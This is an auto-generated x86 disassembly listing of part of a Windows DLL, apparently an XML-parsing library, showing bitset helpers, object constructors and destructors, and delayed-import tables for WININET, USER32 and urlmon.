sub_69B8FA32 proc near ; DATA XREF: .text:69B17114o
push esi
mov esi, ecx
push 0
lea eax, [esi+18h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp loc_69B8F50A
sub_69B8FA32 endp
; =============== S U B R O U T I N E =======================================
sub_69B8FA48 proc near ; CODE XREF: sub_69B8FA5F+7p
; sub_69B8FF0A+6Dp
push 1Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B8FA5A
mov ecx, eax
jmp sub_69B17064
; ---------------------------------------------------------------------------
loc_69B8FA5A: ; CODE XREF: sub_69B8FA48+9j
xor eax, eax
retn 8
sub_69B8FA48 endp
; =============== S U B R O U T I N E =======================================
sub_69B8FA5F proc near ; DATA XREF: .text:69B1711Co
arg_0 = dword ptr 4
push dword ptr [ecx+18h]
push [esp+4+arg_0]
call sub_69B8FA48
retn 4
sub_69B8FA5F endp
; =============== S U B R O U T I N E =======================================
sub_69B8FA6E proc near ; DATA XREF: .text:69B170ECo
arg_0 = byte ptr 4
push esi
mov esi, ecx
lea eax, [esi+18h]
push eax
call sub_69B17230
mov ecx, esi
call sub_69B8F249
test [esp+4+arg_0], 1
jz short loc_69B8FA8E
push esi
call sub_69B1829F
loc_69B8FA8E: ; CODE XREF: sub_69B8FA6E+18j
mov eax, esi
pop esi
retn 4
sub_69B8FA6E endp
; =============== S U B R O U T I N E =======================================
sub_69B8FA94 proc near ; DATA XREF: .text:69B17024o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B8FAAF
test [esp+4+arg_0], 1
jz short loc_69B8FAA9
push esi
call sub_69B1829F
loc_69B8FAA9: ; CODE XREF: sub_69B8FA94+Dj
mov eax, esi
pop esi
retn 4
sub_69B8FA94 endp
; =============== S U B R O U T I N E =======================================
sub_69B8FAAF proc near ; CODE XREF: sub_69B8FA94+3p
push esi
mov esi, ecx
lea eax, [esi+18h]
push eax
call sub_69B17230
lea eax, [esi+14h]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B8F249
sub_69B8FAAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8FACC proc near ; CODE XREF: sub_69B8C084+89p
; sub_69B8C084+1BEp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp byte ptr [esi+28h], 4
jnz short loc_69B8FAE4
mov eax, [ebp+arg_0]
mov byte ptr [eax+14h], 1
jmp loc_69B8FBCA
; ---------------------------------------------------------------------------
loc_69B8FAE4: ; CODE XREF: sub_69B8FACC+Aj
mov eax, [ebp+arg_4]
test eax, eax
push edi
jnz short loc_69B8FB01
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1
mov edi, eax
jg short loc_69B8FAFE
call sub_69B2E6D8
loc_69B8FAFE: ; CODE XREF: sub_69B8FACC+2Bj
mov eax, [edi+10h]
loc_69B8FB01: ; CODE XREF: sub_69B8FACC+1Ej
mov ecx, [esi+1Ch]
push ebx
push eax
call sub_69B1980A
test eax, eax
mov edi, [ebp+arg_0]
jz short loc_69B8FB54
push dword ptr [edi+10h]
mov ecx, [esi+24h]
mov ebx, [eax+8]
call sub_69B8A163
push ebx
mov ecx, eax
call sub_69B1A954
mov eax, [eax]
cmp eax, 0FFFFFFFFh
jz short loc_69B8FB54
mov [edi+10h], eax
mov ecx, [esi+20h]
mov ebx, [ecx+0Ch]
mov ecx, [esi+24h]
push eax
call sub_69B8A163
push ebx
mov ecx, eax
call sub_69B1A954
cmp dword ptr [eax], 0
setnle al
mov [edi+14h], al
jmp short loc_69B8FBC8
; ---------------------------------------------------------------------------
loc_69B8FB54: ; CODE XREF: sub_69B8FACC+44j
; sub_69B8FACC+61j
cmp byte ptr [esi+8], 0
jz short loc_69B8FB60
cmp byte ptr [edi+14h], 0
jnz short loc_69B8FBC8
loc_69B8FB60: ; CODE XREF: sub_69B8FACC+8Cj
cmp [ebp+arg_8], 0Dh
jz short loc_69B8FB73
cmp [ebp+arg_8], 0Eh
mov [ebp+arg_0], 0C00CE014h
jnz short loc_69B8FB7A
loc_69B8FB73: ; CODE XREF: sub_69B8FACC+98j
mov [ebp+arg_0], 0C00CE018h
loc_69B8FB7A: ; CODE XREF: sub_69B8FACC+A5j
push 0
push [ebp+arg_0]
call sub_69B2F944
cmp dword ptr [esi+24h], 0
pop ecx
pop ecx
mov ebx, eax
jz short loc_69B8FBBF
push dword ptr [edi+10h]
mov ecx, esi
call sub_69B8F788
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
xor esi, esi
cmp [eax+8], esi
jle short loc_69B8FBBF
push esi
push eax
push 0C00CE026h
call sub_69B2F944
push esi
push eax
push ebx
call sub_69B2F2CA
add esp, 18h
mov ebx, eax
loc_69B8FBBF: ; CODE XREF: sub_69B8FACC+C0j
; sub_69B8FACC+D8j
push [ebp+arg_0]
push ebx
call sub_69B2E8A2
loc_69B8FBC8: ; CODE XREF: sub_69B8FACC+86j
; sub_69B8FACC+92j
pop ebx
pop edi
loc_69B8FBCA: ; CODE XREF: sub_69B8FACC+13j
pop esi
pop ebp
retn 0Ch
sub_69B8FACC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8FBCF proc near ; CODE XREF: sub_69B5BEDE+17Ap
; sub_69B8CB17+71p ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edi+10h]
xor ebx, ebx
cmp [esi], ebx
jz loc_69B8FF05
push ebx
lea eax, [edi+0Ch]
push eax
call sub_69B17320
push 1Ch
call sub_69B17EF3
cmp eax, ebx
jz short loc_69B8FC07
push ebx
push edi
mov ecx, eax
call sub_69B17064
jmp short loc_69B8FC09
; ---------------------------------------------------------------------------
loc_69B8FC07: ; CODE XREF: sub_69B8FBCF+2Bj
xor eax, eax
loc_69B8FC09: ; CODE XREF: sub_69B8FBCF+36j
push eax
lea ebx, [edi+14h]
push ebx
call sub_69B17320
mov eax, [esi]
mov ebx, [ebx]
push 1Ch
mov [ebp+var_28], eax
call sub_69B17EF3
test eax, eax
jz short loc_69B8FC34
push 0
push ebx
push [ebp+var_28]
mov ecx, eax
call sub_69B16FD4
jmp short loc_69B8FC36
; ---------------------------------------------------------------------------
loc_69B8FC34: ; CODE XREF: sub_69B8FBCF+54j
xor eax, eax
loc_69B8FC36: ; CODE XREF: sub_69B8FBCF+63j
push eax
push esi
call sub_69B17320
mov eax, [edi+18h]
mov ebx, [eax+0Ch]
lea eax, ds:10h[ebx*4]
push eax
mov [ebp+var_1C], ebx
call sub_69B17EF3
mov ecx, eax
mov [ebp+var_C], eax
mov [eax+8], ebx
call sub_69B19118
mov eax, [ebp+var_C]
and [ebp+var_8], 0
test ebx, ebx
mov dword ptr [eax], offset off_69B1EE00
jle short loc_69B8FCA9
loc_69B8FC71: ; CODE XREF: sub_69B8FBCF+D8j
push 20h
call sub_69B17EF3
test eax, eax
jz short loc_69B8FC89
push ebx
mov ecx, eax
call sub_69B901E8
mov [ebp+var_20], eax
jmp short loc_69B8FC8D
; ---------------------------------------------------------------------------
loc_69B8FC89: ; CODE XREF: sub_69B8FBCF+ABj
and [ebp+var_20], 0
loc_69B8FC8D: ; CODE XREF: sub_69B8FBCF+B8j
push [ebp+var_8]
mov ecx, [ebp+var_C]
call sub_69B1A954
push [ebp+var_20]
push eax
call sub_69B17320
inc [ebp+var_8]
cmp [ebp+var_8], ebx
jl short loc_69B8FC71
loc_69B8FCA9: ; CODE XREF: sub_69B8FBCF+A0j
mov ecx, [esi]
push [ebp+var_C]
mov eax, [ecx]
call dword ptr [eax+48h]
call sub_69B1D7F6
mov [ebp+var_24], eax
call sub_69B1D7F6
lea ecx, [edi+24h]
push eax
push ecx
call sub_69B17320
call sub_69B1D7F6
mov [ebp+var_14], eax
call sub_69B315A6
push 20h
mov [ebp+var_10], eax
call sub_69B17EF3
test eax, eax
jz short loc_69B8FCF2
push ebx
mov ecx, eax
call sub_69B901E8
mov [ebp+var_20], eax
jmp short loc_69B8FCF6
; ---------------------------------------------------------------------------
loc_69B8FCF2: ; CODE XREF: sub_69B8FBCF+114j
and [ebp+var_20], 0
loc_69B8FCF6: ; CODE XREF: sub_69B8FBCF+121j
push 0FFFFFFFFh
call sub_69B2F66B
mov ecx, [ebp+var_10]
push eax
push [ebp+var_20]
call sub_69B3182D
mov ecx, [esi]
mov eax, [ecx]
and [ebp+var_20], 0
push ebx
call dword ptr [eax+40h]
mov ebx, [ebp+var_24]
push dword ptr [ebx+0Ch]
mov esi, eax
mov [ebp+var_18], esi
call sub_69B2F66B
mov ecx, [ebp+var_10]
push eax
push esi
call sub_69B3182D
mov ecx, [ebp+var_14]
push esi
call sub_69B8A35C
push esi
mov ecx, ebx
call sub_69B8A35C
mov eax, [edi+20h]
mov esi, [eax+0Ch]
inc esi
lea eax, ds:10h[esi*4]
push eax
call sub_69B17EF3
mov ebx, eax
mov ecx, ebx
mov [ebx+8], esi
call sub_69B19118
mov dword ptr [ebx], offset off_69B13D68
mov ecx, [edi+24h]
push ebx
call sub_69B8A35C
mov eax, [edi+14h]
push dword ptr [eax+14h]
mov ecx, [ebp+var_18]
call sub_69B9030C
test al, al
jz short loc_69B8FD94
mov eax, [edi+20h]
push dword ptr [eax+0Ch]
mov ecx, ebx
call sub_69B1A954
mov dword ptr [eax], 1
loc_69B8FD94: ; CODE XREF: sub_69B8FBCF+1B0j
mov esi, [ebp+var_14]
xor ebx, ebx
jmp loc_69B8FEFC
; ---------------------------------------------------------------------------
loc_69B8FD9E: ; CODE XREF: sub_69B8FBCF+330j
push [ebp+var_20]
mov ecx, [edi+24h]
call sub_69B8A163
push ebx
mov ecx, esi
mov [ebp+var_2C], eax
call sub_69B8A163
push ebx
mov ecx, esi
mov [ebp+var_18], eax
call sub_69B8A22A
mov ecx, [edi+20h]
cmp [ecx+0Ch], ebx
mov [ebp+var_8], ebx
jle loc_69B8FEF9
loc_69B8FDCE: ; CODE XREF: sub_69B8FBCF+31Fj
push [ebp+var_8]
call sub_69B8A163
push 20h
mov ebx, eax
call sub_69B17EF3
xor esi, esi
cmp eax, esi
jz short loc_69B8FDF4
push [ebp+var_1C]
mov ecx, eax
call sub_69B901E8
mov [ebp+var_4], eax
jmp short loc_69B8FDF7
; ---------------------------------------------------------------------------
loc_69B8FDF4: ; CODE XREF: sub_69B8FBCF+214j
mov [ebp+var_4], esi
loc_69B8FDF7: ; CODE XREF: sub_69B8FBCF+223j
cmp [ebp+var_1C], 0
jle short loc_69B8FE33
loc_69B8FDFD: ; CODE XREF: sub_69B8FBCF+262j
mov ecx, [ebp+var_18]
push esi
call sub_69B9030C
test al, al
jz short loc_69B8FE2D
mov ecx, [edi+18h]
push esi
call sub_69B8A163
add eax, 18h
cmp [eax], ebx
jnz short loc_69B8FE2D
mov ecx, [ebp+var_C]
push esi
call sub_69B1A954
push dword ptr [eax]
mov ecx, [ebp+var_4]
call sub_69B90334
loc_69B8FE2D: ; CODE XREF: sub_69B8FBCF+239j
; sub_69B8FBCF+249j
inc esi
cmp esi, [ebp+var_1C]
jl short loc_69B8FDFD
loc_69B8FE33: ; CODE XREF: sub_69B8FBCF+22Cj
push [ebp+var_4]
mov ecx, [ebp+var_10]
call sub_69B1980A
test eax, eax
jnz loc_69B8FECC
mov esi, [ebp+var_24]
mov eax, [esi+0Ch]
push eax
mov [ebp+var_28], eax
call sub_69B2F66B
mov ecx, [ebp+var_10]
push eax
push [ebp+var_4]
call sub_69B3182D
push [ebp+var_4]
mov ecx, [ebp+var_14]
call sub_69B8A35C
push [ebp+var_4]
mov ecx, esi
call sub_69B8A35C
mov eax, [edi+20h]
mov esi, [eax+0Ch]
inc esi
lea eax, ds:10h[esi*4]
push eax
call sub_69B17EF3
mov ebx, eax
mov ecx, ebx
mov [ebx+8], esi
call sub_69B19118
mov dword ptr [ebx], offset off_69B13D68
mov ecx, [edi+24h]
push ebx
call sub_69B8A35C
mov eax, [edi+14h]
push dword ptr [eax+14h]
mov ecx, [ebp+var_4]
call sub_69B9030C
test al, al
jz short loc_69B8FED2
mov eax, [edi+20h]
push dword ptr [eax+0Ch]
mov ecx, ebx
call sub_69B1A954
mov dword ptr [eax], 1
jmp short loc_69B8FED2
; ---------------------------------------------------------------------------
loc_69B8FECC: ; CODE XREF: sub_69B8FBCF+271j
mov eax, [eax+8]
mov [ebp+var_28], eax
loc_69B8FED2: ; CODE XREF: sub_69B8FBCF+2E6j
; sub_69B8FBCF+2FBj
push [ebp+var_8]
mov ecx, [ebp+var_2C]
call sub_69B1A954
mov ecx, [ebp+var_28]
inc [ebp+var_8]
mov [eax], ecx
mov ecx, [edi+20h]
mov eax, [ebp+var_8]
cmp eax, [ecx+0Ch]
jl loc_69B8FDCE
mov esi, [ebp+var_14]
xor ebx, ebx
loc_69B8FEF9: ; CODE XREF: sub_69B8FBCF+1F9j
inc [ebp+var_20]
loc_69B8FEFC: ; CODE XREF: sub_69B8FBCF+1CAj
cmp [esi+0Ch], ebx
jg loc_69B8FD9E
loc_69B8FF05: ; CODE XREF: sub_69B8FBCF+12j
pop edi
pop esi
pop ebx
leave
retn
sub_69B8FBCF endp
; =============== S U B R O U T I N E =======================================
sub_69B8FF0A proc near ; CODE XREF: sub_69B5B47E+49p
; sub_69B5BEDE+106p ...
arg_0 = dword ptr 4
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1
push ebx
push esi
push edi
mov esi, ecx
mov ebx, eax
jg short loc_69B8FF21
call sub_69B2E6D8
loc_69B8FF21: ; CODE XREF: sub_69B8FF0A+10j
mov edi, [esp+0Ch+arg_0]
cmp edi, [ebx+10h]
jnz short loc_69B8FF3F
mov byte ptr [esi+9], 1
call sub_69B315A6
push eax
lea eax, [esi+0Ch]
push eax
call sub_69B17320
jmp short loc_69B8FF75
; ---------------------------------------------------------------------------
loc_69B8FF3F: ; CODE XREF: sub_69B8FF0A+1Ej
mov ecx, [esi+0Ch]
test ecx, ecx
jz short loc_69B8FF75
push edi
call sub_69B1980A
test eax, eax
jz short loc_69B8FF6B
mov eax, [edi]
push 0
mov ecx, edi
call dword ptr [eax+2Ch]
push eax
mov eax, 0C00CE00Bh
push eax
push eax
call sub_69B2E9D0
add esp, 10h
jmp short loc_69B8FF75
; ---------------------------------------------------------------------------
loc_69B8FF6B: ; CODE XREF: sub_69B8FF0A+44j
mov ecx, [esi+0Ch]
push edi
push edi
call sub_69B3182D
loc_69B8FF75: ; CODE XREF: sub_69B8FF0A+33j
; sub_69B8FF0A+3Aj ...
push edi
push esi
call sub_69B8FA48
mov ecx, [esi+2Ch]
cmp dword ptr [ecx+0Ch], 0
mov ebx, eax
jle short loc_69B8FF9E
mov eax, [ecx]
call dword ptr [eax+48h]
mov edi, eax
test edi, edi
jz short loc_69B8FF9E
push ebx
lea eax, [edi+18h]
push eax
call sub_69B17320
mov ebx, edi
loc_69B8FF9E: ; CODE XREF: sub_69B8FF0A+7Bj
; sub_69B8FF0A+86j
mov ecx, [esi+2Ch]
mov eax, [ecx]
push ebx
call dword ptr [eax+4Ch]
pop edi
mov byte ptr [esi+29h], 1
pop esi
pop ebx
retn 4
sub_69B8FF0A endp
; =============== S U B R O U T I N E =======================================
sub_69B8FFB1 proc near ; CODE XREF: sub_69B5AAE3+12p
; sub_69B5BEDE+125p ...
push 3
call sub_69B8F6AB
retn
sub_69B8FFB1 endp
; =============== S U B R O U T I N E =======================================
sub_69B8FFB9 proc near ; CODE XREF: sub_69B5AAE3:loc_69B5AAFCp
; sub_69B8DBA2+87p
push 4
call sub_69B8F6AB
retn
sub_69B8FFB9 endp
; =============== S U B R O U T I N E =======================================
sub_69B8FFC1 proc near ; CODE XREF: sub_69B5AAE3+29p
; sub_69B8DBA2+94p
push 2
call sub_69B8F6AB
retn
sub_69B8FFC1 endp
; =============== S U B R O U T I N E =======================================
sub_69B8FFC9 proc near ; CODE XREF: sub_69B9003D+11p
push esi
mov esi, ecx
call sub_69B19118
mov dword ptr [esi], offset off_69B149CC
and dword ptr [esi+8], 0
and dword ptr [esi+18h], 0
mov eax, esi
pop esi
retn
sub_69B8FFC9 endp
; =============== S U B R O U T I N E =======================================
sub_69B8FFE3 proc near ; DATA XREF: .text:69B14A00o
push esi
mov esi, ecx
push 0
lea eax, [esi+8]
push eax
call sub_69B17320
push 0
lea eax, [esi+18h]
push eax
call sub_69B17320
and dword ptr [esi+1Ch], 0
pop esi
retn
sub_69B8FFE3 endp
; =============== S U B R O U T I N E =======================================
sub_69B90002 proc near ; CODE XREF: sub_69B90098+3p
push ebx
push esi
push edi
mov esi, ecx
push 0
lea edi, [esi+8]
push edi
mov dword ptr [esi], offset off_69B149CC
call sub_69B17320
push 0
lea ebx, [esi+18h]
push ebx
call sub_69B17320
and dword ptr [esi+1Ch], 0
push ebx
call sub_69B17230
push edi
call sub_69B17230
pop edi
mov ecx, esi
pop esi
pop ebx
jmp sub_69B186FA
sub_69B90002 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B9003D proc near ; CODE XREF: sub_69B8BC27+28p
; sub_69B8C084+1CAp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push esi
push 24h
call sub_69B17EF3
test eax, eax
jz short loc_69B90057
mov ecx, eax
call sub_69B8FFC9
mov esi, eax
jmp short loc_69B90059
; ---------------------------------------------------------------------------
loc_69B90057: ; CODE XREF: sub_69B9003D+Dj
xor esi, esi
loc_69B90059: ; CODE XREF: sub_69B9003D+18j
push [ebp+arg_0]
lea eax, [esi+8]
push eax
call sub_69B17320
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [esi+0Ch], eax
lea eax, [esi+18h]
push eax
call sub_69B17320
cmp [ebp+arg_8], 0
setz al
and dword ptr [esi+10h], 0
mov [esi+14h], al
mov eax, [ebp+arg_C]
mov [esi+1Ch], eax
mov eax, [ebp+arg_10]
mov [esi+20h], eax
mov eax, esi
pop esi
pop ebp
retn 14h
sub_69B9003D endp
; =============== S U B R O U T I N E =======================================
sub_69B90098 proc near ; DATA XREF: .text:69B149D8o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B90002
test [esp+4+arg_0], 1
jz short loc_69B900AD
push esi
call sub_69B1829F
loc_69B900AD: ; CODE XREF: sub_69B90098+Dj
mov eax, esi
pop esi
retn 4
sub_69B90098 endp
; =============== S U B R O U T I N E =======================================
sub_69B900B3 proc near ; CODE XREF: sub_69B1AA33+AE21p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor eax, eax
jmp short loc_69B900BF
; ---------------------------------------------------------------------------
loc_69B900BB: ; CODE XREF: sub_69B900B3+Fj
add ecx, 4
inc eax
loc_69B900BF: ; CODE XREF: sub_69B900B3+6j
cmp dword ptr [ecx], 0
jnz short loc_69B900BB
retn
sub_69B900B3 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_69B900C5(UINT uBytes)
sub_69B900C5 proc near ; CODE XREF: sub_69B1AA33+ADCAp
uBytes = dword ptr 4
push [esp+uBytes] ; uBytes
push 40h ; uFlags
call ds:LocalAlloc ; LocalAlloc
retn
sub_69B900C5 endp
; =============== S U B R O U T I N E =======================================
sub_69B900D2 proc near ; CODE XREF: sub_69B1AA33+ADDBp
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax+4], ecx
mov ecx, dword_69B9B770
mov [eax], ecx
mov dword_69B9B770, eax
retn 4
sub_69B900D2 endp
; =============== S U B R O U T I N E =======================================
sub_69B900EB proc near ; DATA XREF: .text:69B14A20o
mov eax, offset off_69B2B1FC
retn
sub_69B900EB endp
; =============== S U B R O U T I N E =======================================
sub_69B900F1 proc near ; DATA XREF: .text:69B14A24o
mov edx, [ecx+8]
dec edx
mov eax, 4D2h
js short locret_69B90119
mov ecx, [ecx+0Ch]
push esi
lea esi, [edx+1]
lea ecx, [ecx+edx*4]
push edi
mov edx, esi
loc_69B90109: ; CODE XREF: sub_69B900F1+24j
mov edi, [ecx]
imul edi, esi
xor eax, edi
sub ecx, 4
dec esi
dec edx
jnz short loc_69B90109
pop edi
pop esi
locret_69B90119: ; CODE XREF: sub_69B900F1+9j
retn
sub_69B900F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B9011A proc near ; DATA XREF: .text:69B14A28o
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
test edi, edi
mov esi, ecx
jz loc_69B901AF
push edi
mov ecx, offset off_69B2B1FC
call sub_69B1885E
test al, al
jz short loc_69B901AF
cmp esi, edi
jz short loc_69B901AB
mov eax, [esi+8]
mov ebx, [edi+8]
cmp eax, ebx
jge short loc_69B9014C
mov ebx, eax
loc_69B9014C: ; CODE XREF: sub_69B9011A+2Ej
test ebx, ebx
mov [ebp+arg_0], ebx
jle short loc_69B90171
mov ecx, [esi+0Ch]
mov edx, [edi+0Ch]
lea eax, [ecx+ebx*4]
sub edx, ecx
loc_69B9015E: ; CODE XREF: sub_69B9011A+55j
dec [ebp+arg_0]
sub eax, 4
mov ecx, [eax]
cmp ecx, [edx+eax]
jnz short loc_69B901AF
cmp [ebp+arg_0], 0
jg short loc_69B9015E
loc_69B90171: ; CODE XREF: sub_69B9011A+37j
mov eax, [esi+8]
cmp eax, ebx
jle short loc_69B9018F
mov edx, [esi+0Ch]
mov ecx, eax
lea eax, [edx+eax*4]
loc_69B90180: ; CODE XREF: sub_69B9011A+71j
sub eax, 4
dec ecx
cmp dword ptr [eax], 0
jnz short loc_69B901AF
cmp ecx, ebx
jg short loc_69B90180
jmp short loc_69B901AB
; ---------------------------------------------------------------------------
loc_69B9018F: ; CODE XREF: sub_69B9011A+5Cj
mov eax, [edi+8]
cmp eax, ebx
mov ecx, eax
jle short loc_69B901AB
mov edx, [edi+0Ch]
lea eax, [edx+eax*4]
loc_69B9019E: ; CODE XREF: sub_69B9011A+8Fj
sub eax, 4
dec ecx
cmp dword ptr [eax], 0
jnz short loc_69B901AF
cmp ecx, ebx
jg short loc_69B9019E
loc_69B901AB: ; CODE XREF: sub_69B9011A+24j
; sub_69B9011A+73j ...
mov al, 1
jmp short loc_69B901B1
; ---------------------------------------------------------------------------
loc_69B901AF: ; CODE XREF: sub_69B9011A+Dj
; sub_69B9011A+20j ...
xor al, al
loc_69B901B1: ; CODE XREF: sub_69B9011A+93j
pop edi
pop esi
pop ebx
pop ebp
retn 4
sub_69B9011A endp
; =============== S U B R O U T I N E =======================================
sub_69B901B8 proc near ; CODE XREF: .text:69B901DFp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B2DC24
mov dword ptr [esi], offset off_69B14A04
mov eax, esi
pop esi
retn 4
sub_69B901B8 endp
; ---------------------------------------------------------------------------
loc_69B901D0: ; DATA XREF: .text:69B2B200o
push 20h
call sub_69B17EF3
test eax, eax
jz short loc_69B901E5
push 0
mov ecx, eax
call sub_69B901B8
retn
; ---------------------------------------------------------------------------
loc_69B901E5: ; CODE XREF: .text:69B901D9j
xor eax, eax
retn
; =============== S U B R O U T I N E =======================================
sub_69B901E8 proc near ; CODE XREF: sub_69B8F9B6+1Dp
; sub_69B8F9F4+1Dp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
call sub_69B19118
mov eax, [esp+4+arg_0]
add eax, 1Fh
push 4
shr eax, 5
pop ecx
cmp eax, ecx
mov dword ptr [esi], offset off_69B14A04
mov [esi+8], eax
jbe short loc_69B90232
push edi
shl eax, 2
push eax
call sub_69B1D897
mov ecx, [esi+8]
shl ecx, 2
mov edx, ecx
mov edi, eax
shr ecx, 2
mov [esi+0Ch], edi
xor eax, eax
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
pop edi
jmp short loc_69B9023B
; ---------------------------------------------------------------------------
loc_69B90232: ; CODE XREF: sub_69B901E8+20j
lea eax, [esi+10h]
mov [esi+8], ecx
mov [esi+0Ch], eax
loc_69B9023B: ; CODE XREF: sub_69B901E8+48j
mov eax, esi
pop esi
retn 4
sub_69B901E8 endp
; =============== S U B R O U T I N E =======================================
sub_69B90241 proc near ; CODE XREF: sub_69B903B7+3p
push esi
mov esi, ecx
mov eax, [esi+0Ch]
lea ecx, [esi+10h]
cmp eax, ecx
mov dword ptr [esi], offset off_69B14A04
jz short loc_69B9025A
push eax
call sub_69B1B2B7
loc_69B9025A: ; CODE XREF: sub_69B90241+11j
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B90241 endp
; =============== S U B R O U T I N E =======================================
sub_69B90262 proc near ; CODE XREF: sub_69B902DF+Fp
; sub_69B90334+11p
arg_0 = dword ptr 4
push ebx
mov ebx, ecx
mov eax, [ebx+8]
push ebp
mov ebp, [esp+8+arg_0]
cmp ebp, eax
jbe short loc_69B902DA
add eax, eax
cmp eax, ebp
jbe short loc_69B90279
mov ebp, eax
loc_69B90279: ; CODE XREF: sub_69B90262+13j
push esi
mov eax, ebp
push edi
shl eax, 2
push eax
call sub_69B1D897
mov ecx, [ebx+8]
mov esi, [ebx+0Ch]
shl ecx, 2
mov edx, eax
mov eax, ecx
shr ecx, 2
mov edi, edx
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebx+8]
shl ecx, 2
lea edi, [ecx+edx]
mov esi, ecx
shr ecx, 2
xor eax, eax
rep stosd
mov ecx, esi
and ecx, 3
rep stosb
mov eax, [ebx+0Ch]
lea ecx, [ebx+10h]
cmp eax, ecx
pop edi
mov [esp+0Ch+arg_0], edx
mov [ebx+8], ebp
pop esi
jz short loc_69B902D7
push eax
call sub_69B1B2B7
mov edx, [esp+8+arg_0]
loc_69B902D7: ; CODE XREF: sub_69B90262+69j
mov [ebx+0Ch], edx
loc_69B902DA: ; CODE XREF: sub_69B90262+Dj
pop ebp
pop ebx
retn 4
sub_69B90262 endp
; =============== S U B R O U T I N E =======================================
sub_69B902DF proc near ; CODE XREF: sub_69B8F9B6+32p
; sub_69B8F9F4+32p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
shr esi, 5
lea eax, [esi+1]
push eax
mov edi, ecx
call sub_69B90262
mov ecx, [esp+8+arg_0]
mov eax, [edi+0Ch]
xor edx, edx
and ecx, 1Fh
inc edx
shl edx, cl
lea eax, [eax+esi*4]
pop edi
pop esi
or [eax], edx
retn 4
sub_69B902DF endp
; =============== S U B R O U T I N E =======================================
sub_69B9030C proc near ; CODE XREF: sub_69B8F416+3Fp
; sub_69B8F416+B5p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
shr edx, 5
xor al, al
cmp edx, [ecx+8]
jnb short locret_69B90331
mov eax, [ecx+0Ch]
mov ecx, [esp+arg_0]
push esi
xor esi, esi
inc esi
and ecx, 1Fh
shl esi, cl
test [eax+edx*4], esi
pop esi
setnz al
locret_69B90331: ; CODE XREF: sub_69B9030C+Cj
retn 4
sub_69B9030C endp
; =============== S U B R O U T I N E =======================================
sub_69B90334 proc near ; CODE XREF: sub_69B8F327+69p
; sub_69B8F39C+6Ep ...
arg_0 = dword ptr 4
push ebx
push edi
mov edi, [esp+8+arg_0]
mov ebx, ecx
cmp ebx, edi
jz short loc_69B90364
push esi
mov esi, [edi+8]
push esi
call sub_69B90262
mov ecx, esi
test esi, esi
pop esi
jbe short loc_69B90364
loc_69B90351: ; CODE XREF: sub_69B90334+2Ej
mov eax, [ebx+0Ch]
mov edx, [edi+0Ch]
dec ecx
mov edx, [edx+ecx*4]
lea eax, [eax+ecx*4]
or [eax], edx
test ecx, ecx
ja short loc_69B90351
loc_69B90364: ; CODE XREF: sub_69B90334+Aj
; sub_69B90334+1Bj
pop edi
pop ebx
retn 4
sub_69B90334 endp
; =============== S U B R O U T I N E =======================================
sub_69B90369 proc near ; DATA XREF: .text:69B14A2Co
push ebx
push esi
push edi
mov esi, ecx
call sub_69B2F49D
mov ebx, eax
lea eax, [esi+10h]
cmp eax, [esi+0Ch]
jnz short loc_69B90382
lea eax, [ebx+10h]
jmp short loc_69B9038E
; ---------------------------------------------------------------------------
loc_69B90382: ; CODE XREF: sub_69B90369+12j
mov eax, [esi+8]
shl eax, 2
push eax
call sub_69B1D897
loc_69B9038E: ; CODE XREF: sub_69B90369+17j
mov [ebx+0Ch], eax
mov eax, [esi+8]
mov edi, [ebx+0Ch]
mov [ebx+8], eax
mov ecx, [esi+8]
mov esi, [esi+0Ch]
shl ecx, 2
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
mov eax, ebx
pop ebx
retn
sub_69B90369 endp
; =============== S U B R O U T I N E =======================================
sub_69B903B7 proc near ; DATA XREF: .text:69B14A10o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B90241
test [esp+4+arg_0], 1
jz short loc_69B903CC
push esi
call sub_69B1829F
loc_69B903CC: ; CODE XREF: sub_69B903B7+Dj
mov eax, esi
pop esi
retn 4
sub_69B903B7 endp
; ---------------------------------------------------------------------------
align 4
WININET_dll_dbiat dd 0 ; DATA XREF: .text:69B903F8o
; WININET.dll bound delayed import address table
USER32_dll_dbiat dd 0 ; DATA XREF: .text:69B90418o
; USER32.dll bound delayed import address table
urlmon_dll_dbiat dd 0 ; DATA XREF: .text:69B90438o
